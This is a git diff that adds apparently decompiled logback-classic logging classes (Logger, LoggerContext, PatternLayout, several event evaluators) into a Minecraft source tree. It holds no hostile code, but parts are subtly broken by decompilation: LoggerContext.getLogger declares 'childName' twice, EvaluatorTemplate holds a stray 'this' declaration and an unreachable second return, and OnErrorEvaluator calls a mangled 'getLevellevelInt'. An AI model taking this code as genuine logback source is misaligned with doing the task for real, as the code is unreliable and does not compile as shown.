+    throw new IllegalStateException("Unknown FilterReply value: " + decision);
+  }
+  
+  public boolean isEnabledFor(Level level)
+  {
+    return isEnabledFor(null, level);
+  }
+  
+  public void warn(String msg) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.WARN, msg, null, null);
+  }
+  
+  public void warn(String msg, Throwable t) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.WARN, msg, null, t);
+  }
+  
+  public void warn(String format, Object arg) {
+    filterAndLog_1(FQCN, null, Level.WARN, format, arg, null);
+  }
+  
+  public void warn(String format, Object arg1, Object arg2) {
+    filterAndLog_2(FQCN, null, Level.WARN, format, arg1, arg2, null);
+  }
+  
+  public void warn(String format, Object[] argArray) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.WARN, format, argArray, null);
+  }
+  
+  public void warn(Marker marker, String msg) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.WARN, msg, null, null);
+  }
+  
+  public void warn(Marker marker, String format, Object arg) {
+    filterAndLog_1(FQCN, marker, Level.WARN, format, arg, null);
+  }
+  
+  public void warn(Marker marker, String format, Object[] argArray) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.WARN, format, argArray, null);
+  }
+  
+  public void warn(Marker marker, String format, Object arg1, Object arg2) {
+    filterAndLog_2(FQCN, marker, Level.WARN, format, arg1, arg2, null);
+  }
+  
+  public void warn(Marker marker, String msg, Throwable t) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.WARN, msg, null, t);
+  }
+  
+  public boolean isAdditive() {
+    return additive;
+  }
+  
+  public void setAdditive(boolean additive) {
+    this.additive = additive;
+  }
+  
+  public String toString() {
+    return "Logger[" + name + "]";
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private FilterReply callTurboFilters(Marker marker, Level level)
+  {
+    return loggerContext.getTurboFilterChainDecision_0_3OrMore(marker, this, level, null, null, null);
+  }
+  
+
+
+
+
+
+  public LoggerContext getLoggerContext()
+  {
+    return loggerContext;
+  }
+  
+  public void log(Marker marker, String fqcn, int levelInt, String message, Object[] argArray, Throwable t)
+  {
+    Level level = Level.fromLocationAwareLoggerInteger(levelInt);
+    filterAndLog_0_Or3Plus(fqcn, marker, level, message, argArray, t);
+  }
+  
+
+
+
+
+
+
+  protected Object readResolve()
+    throws ObjectStreamException
+  {
+    return LoggerFactory.getLogger(getName());
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/LoggerContext.java b/src/minecraft/ch/qos/logback/classic/LoggerContext.java
new file mode 100644
index 0000000..e303509
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/LoggerContext.java
@@ -0,0 +1,367 @@
+package ch.qos.logback.classic;
+
+import ch.qos.logback.classic.spi.LoggerComparator;
+import ch.qos.logback.classic.spi.LoggerContextListener;
+import ch.qos.logback.classic.spi.LoggerContextVO;
+import ch.qos.logback.classic.spi.TurboFilterList;
+import ch.qos.logback.classic.turbo.TurboFilter;
+import ch.qos.logback.classic.util.LoggerNameUtil;
+import ch.qos.logback.core.ContextBase;
+import ch.qos.logback.core.spi.FilterReply;
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.status.StatusListener;
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.status.WarnStatus;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
+import org.slf4j.ILoggerFactory;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoggerContext
+  extends ContextBase
+  implements ILoggerFactory, LifeCycle
+{
+  final Logger root;
+  private int size;
+  private int noAppenderWarning = 0;
+  private final List<LoggerContextListener> loggerContextListenerList = new ArrayList();
+  
+  private Map<String, Logger> loggerCache;
+  
+  private LoggerContextVO loggerContextRemoteView;
+  private final TurboFilterList turboFilterList = new TurboFilterList();
+  private boolean packagingDataEnabled = true;
+  
+  private int maxCallerDataDepth = 8;
+  
+  int resetCount = 0;
+  private List<String> frameworkPackages;
+  
+  public LoggerContext()
+  {
+    loggerCache = new ConcurrentHashMap();
+    
+    loggerContextRemoteView = new LoggerContextVO(this);
+    root = new Logger("ROOT", null, this);
+    root.setLevel(Level.DEBUG);
+    loggerCache.put("ROOT", root);
+    initEvaluatorMap();
+    size = 1;
+    frameworkPackages = new ArrayList();
+  }
+  
+  void initEvaluatorMap() {
+    putObject("EVALUATOR_MAP", new HashMap());
+  }
+  
+
+
+
+  private void updateLoggerContextVO()
+  {
+    loggerContextRemoteView = new LoggerContextVO(this);
+  }
+  
+  public void putProperty(String key, String val)
+  {
+    super.putProperty(key, val);
+    updateLoggerContextVO();
+  }
+  
+  public void setName(String name)
+  {
+    super.setName(name);
+    updateLoggerContextVO();
+  }
+  
+  public final Logger getLogger(Class clazz) {
+    return getLogger(clazz.getName());
+  }
+  
+  public final Logger getLogger(String name)
+  {
+    if (name == null) {
+      throw new IllegalArgumentException("name argument cannot be null");
+    }
+    
+
+
+    if ("ROOT".equalsIgnoreCase(name)) {
+      return root;
+    }
+    
+    int i = 0;
+    Logger logger = root;
+    
+
+
+    Logger childLogger = (Logger)loggerCache.get(name);
+    
+    if (childLogger != null) {
+      return childLogger;
+    }
+    
+
+
+    for (;;)
+    {
+      int h = LoggerNameUtil.getSeparatorIndexOf(name, i);
+      String childName; String childName; if (h == -1) {
+        childName = name;
+      } else {
+        childName = name.substring(0, h);
+      }
+      
+      i = h + 1;
+      synchronized (logger) {
+        childLogger = logger.getChildByName(childName);
+        if (childLogger == null) {
+          childLogger = logger.createChildByName(childName);
+          loggerCache.put(childName, childLogger);
+          incSize();
+        }
+      }
+      logger = childLogger;
+      if (h == -1) {
+        return childLogger;
+      }
+    }
+  }
+  
+  private void incSize() {
+    size += 1;
+  }
+  
+  int size() {
+    return size;
+  }
+  
+
+
+
+
+
+  public Logger exists(String name)
+  {
+    return (Logger)loggerCache.get(name);
+  }
+  
+  final void noAppenderDefinedWarning(Logger logger) {
+    if (noAppenderWarning++ == 0) {
+      getStatusManager().add(new WarnStatus("No appenders present in context [" + getName() + "] for logger [" + logger.getName() + "].", logger));
+    }
+  }
+  
+
+  public List<Logger> getLoggerList()
+  {
+    Collection<Logger> collection = loggerCache.values();
+    List<Logger> loggerList = new ArrayList(collection);
+    Collections.sort(loggerList, new LoggerComparator());
+    return loggerList;
+  }
+  
+  public LoggerContextVO getLoggerContextRemoteView() {
+    return loggerContextRemoteView;
+  }
+  
+  public void setPackagingDataEnabled(boolean packagingDataEnabled) {
+    this.packagingDataEnabled = packagingDataEnabled;
+  }
+  
+  public boolean isPackagingDataEnabled() {
+    return packagingDataEnabled;
+  }
+  
+
+
+
+
+
+
+
+
+  public void reset()
+  {
+    resetCount += 1;
+    super.reset();
+    initEvaluatorMap();
+    root.recursiveReset();
+    resetTurboFilterList();
+    fireOnReset();
+    resetListenersExceptResetResistant();
+    resetStatusListeners();
+  }
+  
+  private void resetStatusListeners() {
+    StatusManager sm = getStatusManager();
+    for (StatusListener sl : sm.getCopyOfStatusListenerList()) {
+      sm.remove(sl);
+    }
+  }
+  
+  public TurboFilterList getTurboFilterList() {
+    return turboFilterList;
+  }
+  
+  public void addTurboFilter(TurboFilter newFilter) {
+    turboFilterList.add(newFilter);
+  }
+  
+
+
+
+  public void resetTurboFilterList()
+  {
+    for (TurboFilter tf : turboFilterList) {
+      tf.stop();
+    }
+    turboFilterList.clear();
+  }
+  
+
+  final FilterReply getTurboFilterChainDecision_0_3OrMore(Marker marker, Logger logger, Level level, String format, Object[] params, Throwable t)
+  {
+    if (turboFilterList.size() == 0) {
+      return FilterReply.NEUTRAL;
+    }
+    return turboFilterList.getTurboFilterChainDecision(marker, logger, level, format, params, t);
+  }
+  
+
+
+  final FilterReply getTurboFilterChainDecision_1(Marker marker, Logger logger, Level level, String format, Object param, Throwable t)
+  {
+    if (turboFilterList.size() == 0) {
+      return FilterReply.NEUTRAL;
+    }
+    return turboFilterList.getTurboFilterChainDecision(marker, logger, level, format, new Object[] { param }, t);
+  }
+  
+
+
+  final FilterReply getTurboFilterChainDecision_2(Marker marker, Logger logger, Level level, String format, Object param1, Object param2, Throwable t)
+  {
+    if (turboFilterList.size() == 0) {
+      return FilterReply.NEUTRAL;
+    }
+    return turboFilterList.getTurboFilterChainDecision(marker, logger, level, format, new Object[] { param1, param2 }, t);
+  }
+  
+
+  public void addListener(LoggerContextListener listener)
+  {
+    loggerContextListenerList.add(listener);
+  }
+  
+  public void removeListener(LoggerContextListener listener) {
+    loggerContextListenerList.remove(listener);
+  }
+  
+  private void resetListenersExceptResetResistant() {
+    List<LoggerContextListener> toRetain = new ArrayList();
+    
+    for (LoggerContextListener lcl : loggerContextListenerList) {
+      if (lcl.isResetResistant()) {
+        toRetain.add(lcl);
+      }
+    }
+    loggerContextListenerList.retainAll(toRetain);
+  }
+  
+  private void resetAllListeners() {
+    loggerContextListenerList.clear();
+  }
+  
+  public List<LoggerContextListener> getCopyOfListenerList() {
+    return new ArrayList(loggerContextListenerList);
+  }
+  
+  void fireOnLevelChange(Logger logger, Level level) {
+    for (LoggerContextListener listener : loggerContextListenerList) {
+      listener.onLevelChange(logger, level);
+    }
+  }
+  
+  private void fireOnReset() {
+    for (LoggerContextListener listener : loggerContextListenerList) {
+      listener.onReset(this);
+    }
+  }
+  
+  private void fireOnStart() {
+    for (LoggerContextListener listener : loggerContextListenerList) {
+      listener.onStart(this);
+    }
+  }
+  
+  private void fireOnStop() {
+    for (LoggerContextListener listener : loggerContextListenerList) {
+      listener.onStop(this);
+    }
+  }
+  
+
+  public void start()
+  {
+    super.start();
+    fireOnStart();
+  }
+  
+  public void stop() {
+    reset();
+    fireOnStop();
+    resetAllListeners();
+    super.stop();
+  }
+  
+  public String toString()
+  {
+    return getClass().getName() + "[" + getName() + "]";
+  }
+  
+  public int getMaxCallerDataDepth() {
+    return maxCallerDataDepth;
+  }
+  
+  public void setMaxCallerDataDepth(int maxCallerDataDepth) {
+    this.maxCallerDataDepth = maxCallerDataDepth;
+  }
+  
+
+
+
+
+
+
+
+
+  public List<String> getFrameworkPackages()
+  {
+    return frameworkPackages;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/PatternLayout.java b/src/minecraft/ch/qos/logback/classic/PatternLayout.java
new file mode 100644
index 0000000..033c848
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/PatternLayout.java
@@ -0,0 +1,156 @@
+package ch.qos.logback.classic;
+
+import ch.qos.logback.classic.pattern.CallerDataConverter;
+import ch.qos.logback.classic.pattern.ClassOfCallerConverter;
+import ch.qos.logback.classic.pattern.ContextNameConverter;
+import ch.qos.logback.classic.pattern.DateConverter;
+import ch.qos.logback.classic.pattern.EnsureExceptionHandling;
+import ch.qos.logback.classic.pattern.ExtendedThrowableProxyConverter;
+import ch.qos.logback.classic.pattern.FileOfCallerConverter;
+import ch.qos.logback.classic.pattern.LevelConverter;
+import ch.qos.logback.classic.pattern.LineOfCallerConverter;
+import ch.qos.logback.classic.pattern.LineSeparatorConverter;
+import ch.qos.logback.classic.pattern.LocalSequenceNumberConverter;
+import ch.qos.logback.classic.pattern.LoggerConverter;
+import ch.qos.logback.classic.pattern.MDCConverter;
+import ch.qos.logback.classic.pattern.MarkerConverter;
+import ch.qos.logback.classic.pattern.MessageConverter;
+import ch.qos.logback.classic.pattern.MethodOfCallerConverter;
+import ch.qos.logback.classic.pattern.NopThrowableInformationConverter;
+import ch.qos.logback.classic.pattern.PropertyConverter;
+import ch.qos.logback.classic.pattern.RelativeTimeConverter;
+import ch.qos.logback.classic.pattern.RootCauseFirstThrowableProxyConverter;
+import ch.qos.logback.classic.pattern.ThreadConverter;
+import ch.qos.logback.classic.pattern.ThrowableProxyConverter;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.pattern.color.BlackCompositeConverter;
+import ch.qos.logback.core.pattern.color.BoldBlueCompositeConverter;
+import ch.qos.logback.core.pattern.color.BoldMagentaCompositeConverter;
+import ch.qos.logback.core.pattern.color.BoldWhiteCompositeConverter;
+import ch.qos.logback.core.pattern.color.BoldYellowCompositeConverter;
+import ch.qos.logback.core.pattern.color.CyanCompositeConverter;
+import ch.qos.logback.core.pattern.color.GreenCompositeConverter;
+import ch.qos.logback.core.pattern.color.MagentaCompositeConverter;
+import ch.qos.logback.core.pattern.color.RedCompositeConverter;
+import ch.qos.logback.core.pattern.color.YellowCompositeConverter;
+import java.util.HashMap;
+import java.util.Map;
+
+public class PatternLayout extends ch.qos.logback.core.pattern.PatternLayoutBase<ILoggingEvent>
+{
+  public static final Map<String, String> defaultConverterMap = new HashMap();
+  public static final String HEADER_PREFIX = "#logback.classic pattern: ";
+  
+  static {
+    defaultConverterMap.putAll(ch.qos.logback.core.pattern.parser.Parser.DEFAULT_COMPOSITE_CONVERTER_MAP);
+    
+    defaultConverterMap.put("d", DateConverter.class.getName());
+    defaultConverterMap.put("date", DateConverter.class.getName());
+    
+    defaultConverterMap.put("r", RelativeTimeConverter.class.getName());
+    defaultConverterMap.put("relative", RelativeTimeConverter.class.getName());
+    
+    defaultConverterMap.put("level", LevelConverter.class.getName());
+    defaultConverterMap.put("le", LevelConverter.class.getName());
+    defaultConverterMap.put("p", LevelConverter.class.getName());
+    
+    defaultConverterMap.put("t", ThreadConverter.class.getName());
+    defaultConverterMap.put("thread", ThreadConverter.class.getName());
+    
+    defaultConverterMap.put("lo", LoggerConverter.class.getName());
+    defaultConverterMap.put("logger", LoggerConverter.class.getName());
+    defaultConverterMap.put("c", LoggerConverter.class.getName());
+    
+    defaultConverterMap.put("m", MessageConverter.class.getName());
+    defaultConverterMap.put("msg", MessageConverter.class.getName());
+    defaultConverterMap.put("message", MessageConverter.class.getName());
+    
+    defaultConverterMap.put("C", ClassOfCallerConverter.class.getName());
+    defaultConverterMap.put("class", ClassOfCallerConverter.class.getName());
+    
+    defaultConverterMap.put("M", MethodOfCallerConverter.class.getName());
+    defaultConverterMap.put("method", MethodOfCallerConverter.class.getName());
+    
+    defaultConverterMap.put("L", LineOfCallerConverter.class.getName());
+    defaultConverterMap.put("line", LineOfCallerConverter.class.getName());
+    
+    defaultConverterMap.put("F", FileOfCallerConverter.class.getName());
+    defaultConverterMap.put("file", FileOfCallerConverter.class.getName());
+    
+    defaultConverterMap.put("X", MDCConverter.class.getName());
+    defaultConverterMap.put("mdc", MDCConverter.class.getName());
+    
+    defaultConverterMap.put("ex", ThrowableProxyConverter.class.getName());
+    defaultConverterMap.put("exception", ThrowableProxyConverter.class.getName());
+    
+    defaultConverterMap.put("rEx", RootCauseFirstThrowableProxyConverter.class.getName());
+    defaultConverterMap.put("rootException", RootCauseFirstThrowableProxyConverter.class.getName());
+    
+    defaultConverterMap.put("throwable", ThrowableProxyConverter.class.getName());
+    
+
+    defaultConverterMap.put("xEx", ExtendedThrowableProxyConverter.class.getName());
+    defaultConverterMap.put("xException", ExtendedThrowableProxyConverter.class.getName());
+    
+    defaultConverterMap.put("xThrowable", ExtendedThrowableProxyConverter.class.getName());
+    
+
+    defaultConverterMap.put("nopex", NopThrowableInformationConverter.class.getName());
+    
+    defaultConverterMap.put("nopexception", NopThrowableInformationConverter.class.getName());
+    
+
+    defaultConverterMap.put("cn", ContextNameConverter.class.getName());
+    defaultConverterMap.put("contextName", ContextNameConverter.class.getName());
+    
+    defaultConverterMap.put("caller", CallerDataConverter.class.getName());
+    
+    defaultConverterMap.put("marker", MarkerConverter.class.getName());
+    
+    defaultConverterMap.put("property", PropertyConverter.class.getName());
+    
+    defaultConverterMap.put("n", LineSeparatorConverter.class.getName());
+    
+    defaultConverterMap.put("black", BlackCompositeConverter.class.getName());
+    defaultConverterMap.put("red", RedCompositeConverter.class.getName());
+    defaultConverterMap.put("green", GreenCompositeConverter.class.getName());
+    defaultConverterMap.put("yellow", YellowCompositeConverter.class.getName());
+    defaultConverterMap.put("blue", ch.qos.logback.core.pattern.color.BlueCompositeConverter.class.getName());
+    defaultConverterMap.put("magenta", MagentaCompositeConverter.class.getName());
+    defaultConverterMap.put("cyan", CyanCompositeConverter.class.getName());
+    defaultConverterMap.put("white", ch.qos.logback.core.pattern.color.WhiteCompositeConverter.class.getName());
+    defaultConverterMap.put("gray", ch.qos.logback.core.pattern.color.GrayCompositeConverter.class.getName());
+    defaultConverterMap.put("boldRed", ch.qos.logback.core.pattern.color.BoldRedCompositeConverter.class.getName());
+    defaultConverterMap.put("boldGreen", ch.qos.logback.core.pattern.color.BoldGreenCompositeConverter.class.getName());
+    defaultConverterMap.put("boldYellow", BoldYellowCompositeConverter.class.getName());
+    defaultConverterMap.put("boldBlue", BoldBlueCompositeConverter.class.getName());
+    defaultConverterMap.put("boldMagenta", BoldMagentaCompositeConverter.class.getName());
+    defaultConverterMap.put("boldCyan", ch.qos.logback.core.pattern.color.BoldCyanCompositeConverter.class.getName());
+    defaultConverterMap.put("boldWhite", BoldWhiteCompositeConverter.class.getName());
+    defaultConverterMap.put("highlight", ch.qos.logback.classic.pattern.color.HighlightingCompositeConverter.class.getName());
+    
+    defaultConverterMap.put("lsn", LocalSequenceNumberConverter.class.getName());
+  }
+  
+
+  public PatternLayout()
+  {
+    postCompileProcessor = new EnsureExceptionHandling();
+  }
+  
+  public Map<String, String> getDefaultConverterMap() {
+    return defaultConverterMap;
+  }
+  
+  public String doLayout(ILoggingEvent event) {
+    if (!isStarted()) {
+      return "";
+    }
+    return writeLoopOnConverters(event);
+  }
+  
+  protected String getPresentationHeaderPrefix()
+  {
+    return "#logback.classic pattern: ";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/ViewStatusMessagesServlet.java b/src/minecraft/ch/qos/logback/classic/ViewStatusMessagesServlet.java
new file mode 100644
index 0000000..aac3814
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/ViewStatusMessagesServlet.java
@@ -0,0 +1,40 @@
+package ch.qos.logback.classic;
+
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.status.ViewStatusMessagesServletBase;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import org.slf4j.LoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ViewStatusMessagesServlet
+  extends ViewStatusMessagesServletBase
+{
+  private static final long serialVersionUID = 443878494348593337L;
+  
+  public ViewStatusMessagesServlet() {}
+  
+  protected StatusManager getStatusManager(HttpServletRequest req, HttpServletResponse resp)
+  {
+    LoggerContext lc = (LoggerContext)LoggerFactory.getILoggerFactory();
+    return lc.getStatusManager();
+  }
+  
+  protected String getPageTitle(HttpServletRequest req, HttpServletResponse resp)
+  {
+    LoggerContext lc = (LoggerContext)LoggerFactory.getILoggerFactory();
+    return "<h2>Status messages for LoggerContext named [" + lc.getName() + "]</h2>\r\n";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/boolex/EvaluatorTemplate.java b/src/minecraft/ch/qos/logback/classic/boolex/EvaluatorTemplate.java
new file mode 100644
index 0000000..85ad2b8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/boolex/EvaluatorTemplate.java
@@ -0,0 +1,38 @@
+package ch.qos.logback.classic.boolex;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import groovy.lang.GroovyObject;
+import groovy.lang.MetaClass;
+import org.codehaus.groovy.runtime.callsite.CallSite;
+import org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EvaluatorTemplate
+  implements IEvaluator, GroovyObject
+{
+  public EvaluatorTemplate()
+  {
+    EvaluatorTemplate this;
+    CallSite[] arrayOfCallSite = $getCallSiteArray();
+    MetaClass localMetaClass = $getStaticMetaClass();
+    metaClass = localMetaClass;
+  }
+  
+  public boolean doEvaluate(ILoggingEvent event)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();ILoggingEvent e = event;return DefaultTypeTransformation.booleanUnbox(e);return DefaultTypeTransformation.booleanUnbox(Integer.valueOf(0));
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/boolex/GEventEvaluator.java b/src/minecraft/ch/qos/logback/classic/boolex/GEventEvaluator.java
new file mode 100644
index 0000000..138927f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/boolex/GEventEvaluator.java
@@ -0,0 +1,88 @@
+package ch.qos.logback.classic.boolex;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.boolex.EvaluationException;
+import ch.qos.logback.core.boolex.EventEvaluatorBase;
+import ch.qos.logback.core.util.FileUtil;
+import groovy.lang.GroovyClassLoader;
+import groovy.lang.GroovyObject;
+import groovy.lang.Script;
+import org.codehaus.groovy.control.CompilationFailedException;
+
+
+
+
+
+
+
+
+
+
+
+
+public class GEventEvaluator
+  extends EventEvaluatorBase<ILoggingEvent>
+{
+  String expression;
+  IEvaluator delegateEvaluator;
+  Script script;
+  
+  public GEventEvaluator() {}
+  
+  public String getExpression()
+  {
+    return expression;
+  }
+  
+  public void setExpression(String expression) {
+    this.expression = expression;
+  }
+  
+  public void start() {
+    int errors = 0;
+    if ((expression == null) || (expression.length() == 0)) {
+      addError("Empty expression");
+      return;
+    }
+    addInfo("Expression to evaluate [" + expression + "]");
+    
+
+
+    ClassLoader classLoader = getClass().getClassLoader();
+    String currentPackageName = getClass().getPackage().getName();
+    currentPackageName = currentPackageName.replace('.', '/');
+    
+    FileUtil fileUtil = new FileUtil(getContext());
+    String scriptText = fileUtil.resourceAsString(classLoader, currentPackageName + "/EvaluatorTemplate.groovy");
+    if (scriptText == null) {
+      return;
+    }
+    
+
+    scriptText = scriptText.replace("//EXPRESSION", expression);
+    
+    GroovyClassLoader gLoader = new GroovyClassLoader(classLoader);
+    try {
+      Class scriptClass = gLoader.parseClass(scriptText);
+      
+      GroovyObject goo = (GroovyObject)scriptClass.newInstance();
+      delegateEvaluator = ((IEvaluator)goo);
+    }
+    catch (CompilationFailedException cfe) {
+      addError("Failed to compile expression [" + expression + "]", cfe);
+      errors++;
+    } catch (Exception e) {
+      addError("Failed to compile expression [" + expression + "]", e);
+      errors++;
+    }
+    if (errors == 0)
+      super.start();
+  }
+  
+  public boolean evaluate(ILoggingEvent event) throws NullPointerException, EvaluationException {
+    if (delegateEvaluator == null) {
+      return false;
+    }
+    return delegateEvaluator.doEvaluate(event);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/boolex/IEvaluator.java b/src/minecraft/ch/qos/logback/classic/boolex/IEvaluator.java
new file mode 100644
index 0000000..00823b1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/boolex/IEvaluator.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.classic.boolex;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+public abstract interface IEvaluator
+{
+  public abstract boolean doEvaluate(ILoggingEvent paramILoggingEvent);
+}
diff --git a/src/minecraft/ch/qos/logback/classic/boolex/JaninoEventEvaluator.java b/src/minecraft/ch/qos/logback/classic/boolex/JaninoEventEvaluator.java
new file mode 100644
index 0000000..a1393f4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/boolex/JaninoEventEvaluator.java
@@ -0,0 +1,155 @@
+package ch.qos.logback.classic.boolex;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.IThrowableProxy;
+import ch.qos.logback.classic.spi.LoggerContextVO;
+import ch.qos.logback.classic.spi.ThrowableProxy;
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.boolex.JaninoEventEvaluatorBase;
+import ch.qos.logback.core.boolex.Matcher;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JaninoEventEvaluator
+  extends JaninoEventEvaluatorBase<ILoggingEvent>
+{
+  public static final String IMPORT_LEVEL = "import ch.qos.logback.classic.Level;\r\n";
+  public static final List<String> DEFAULT_PARAM_NAME_LIST = new ArrayList();
+  public static final List<Class> DEFAULT_PARAM_TYPE_LIST = new ArrayList();
+  
+  static {
+    DEFAULT_PARAM_NAME_LIST.add("DEBUG");
+    DEFAULT_PARAM_NAME_LIST.add("INFO");
+    DEFAULT_PARAM_NAME_LIST.add("WARN");
+    DEFAULT_PARAM_NAME_LIST.add("ERROR");
+    
+    DEFAULT_PARAM_NAME_LIST.add("event");
+    DEFAULT_PARAM_NAME_LIST.add("message");
+    
+    DEFAULT_PARAM_NAME_LIST.add("formattedMessage");
+    DEFAULT_PARAM_NAME_LIST.add("logger");
+    DEFAULT_PARAM_NAME_LIST.add("loggerContext");
+    DEFAULT_PARAM_NAME_LIST.add("level");
+    DEFAULT_PARAM_NAME_LIST.add("timeStamp");
+    DEFAULT_PARAM_NAME_LIST.add("marker");
+    DEFAULT_PARAM_NAME_LIST.add("mdc");
+    DEFAULT_PARAM_NAME_LIST.add("throwableProxy");
+    DEFAULT_PARAM_NAME_LIST.add("throwable");
+    
+    DEFAULT_PARAM_TYPE_LIST.add(Integer.TYPE);
+    DEFAULT_PARAM_TYPE_LIST.add(Integer.TYPE);
+    DEFAULT_PARAM_TYPE_LIST.add(Integer.TYPE);
+    DEFAULT_PARAM_TYPE_LIST.add(Integer.TYPE);
+    
+    DEFAULT_PARAM_TYPE_LIST.add(ILoggingEvent.class);
+    DEFAULT_PARAM_TYPE_LIST.add(String.class);
+    DEFAULT_PARAM_TYPE_LIST.add(String.class);
+    DEFAULT_PARAM_TYPE_LIST.add(String.class);
+    DEFAULT_PARAM_TYPE_LIST.add(LoggerContextVO.class);
+    DEFAULT_PARAM_TYPE_LIST.add(Integer.TYPE);
+    DEFAULT_PARAM_TYPE_LIST.add(Long.TYPE);
+    DEFAULT_PARAM_TYPE_LIST.add(Marker.class);
+    DEFAULT_PARAM_TYPE_LIST.add(Map.class);
+    DEFAULT_PARAM_TYPE_LIST.add(IThrowableProxy.class);
+    DEFAULT_PARAM_TYPE_LIST.add(Throwable.class);
+  }
+  
+  protected String getDecoratedExpression() {
+    String expression = getExpression();
+    if (!expression.contains("return")) {
+      expression = "return " + expression + ";";
+      addInfo("Adding [return] prefix and a semicolon suffix. Expression becomes [" + expression + "]");
+      addInfo("See also http://logback.qos.ch/codes.html#block");
+    }
+    
+    return "import ch.qos.logback.classic.Level;\r\n" + expression;
+  }
+  
+  protected String[] getParameterNames() {
+    List<String> fullNameList = new ArrayList();
+    fullNameList.addAll(DEFAULT_PARAM_NAME_LIST);
+    
+    for (int i = 0; i < matcherList.size(); i++) {
+      Matcher m = (Matcher)matcherList.get(i);
+      fullNameList.add(m.getName());
+    }
+    
+    return (String[])fullNameList.toArray(CoreConstants.EMPTY_STRING_ARRAY);
+  }
+  
+  protected Class[] getParameterTypes() {
+    List<Class> fullTypeList = new ArrayList();
+    fullTypeList.addAll(DEFAULT_PARAM_TYPE_LIST);
+    for (int i = 0; i < matcherList.size(); i++) {
+      fullTypeList.add(Matcher.class);
+    }
+    return (Class[])fullTypeList.toArray(CoreConstants.EMPTY_CLASS_ARRAY);
+  }
+  
+  protected Object[] getParameterValues(ILoggingEvent loggingEvent) {
+    int matcherListSize = matcherList.size();
+    
+    int i = 0;
+    Object[] values = new Object[DEFAULT_PARAM_NAME_LIST.size() + matcherListSize];
+    
+
+    values[(i++)] = Level.DEBUG_INTEGER;
+    values[(i++)] = Level.INFO_INTEGER;
+    values[(i++)] = Level.WARN_INTEGER;
+    values[(i++)] = Level.ERROR_INTEGER;
+    
+    values[(i++)] = loggingEvent;
+    values[(i++)] = loggingEvent.getMessage();
+    values[(i++)] = loggingEvent.getFormattedMessage();
+    values[(i++)] = loggingEvent.getLoggerName();
+    values[(i++)] = loggingEvent.getLoggerContextVO();
+    values[(i++)] = loggingEvent.getLevel().toInteger();
+    values[(i++)] = Long.valueOf(loggingEvent.getTimeStamp());
+    
+
+
+    values[(i++)] = loggingEvent.getMarker();
+    values[(i++)] = loggingEvent.getMDCPropertyMap();
+    
+    IThrowableProxy iThrowableProxy = loggingEvent.getThrowableProxy();
+    
+    if (iThrowableProxy != null) {
+      values[(i++)] = iThrowableProxy;
+      if ((iThrowableProxy instanceof ThrowableProxy)) {
+        values[(i++)] = ((ThrowableProxy)iThrowableProxy).getThrowable();
+      } else {
+        values[(i++)] = null;
+      }
+    } else {
+      values[(i++)] = null;
+      values[(i++)] = null;
+    }
+    
+    for (int j = 0; j < matcherListSize; j++) {
+      values[(i++)] = ((Matcher)matcherList.get(j));
+    }
+    
+    return values;
+  }
+  
+  public JaninoEventEvaluator() {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/boolex/OnErrorEvaluator.java b/src/minecraft/ch/qos/logback/classic/boolex/OnErrorEvaluator.java
new file mode 100644
index 0000000..458ddde
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/boolex/OnErrorEvaluator.java
@@ -0,0 +1,38 @@
+package ch.qos.logback.classic.boolex;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.boolex.EvaluationException;
+import ch.qos.logback.core.boolex.EventEvaluatorBase;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OnErrorEvaluator
+  extends EventEvaluatorBase<ILoggingEvent>
+{
+  public OnErrorEvaluator() {}
+  
+  public boolean evaluate(ILoggingEvent event)
+    throws NullPointerException, EvaluationException
+  {
+    return getLevellevelInt >= 40000;
+  }
+}
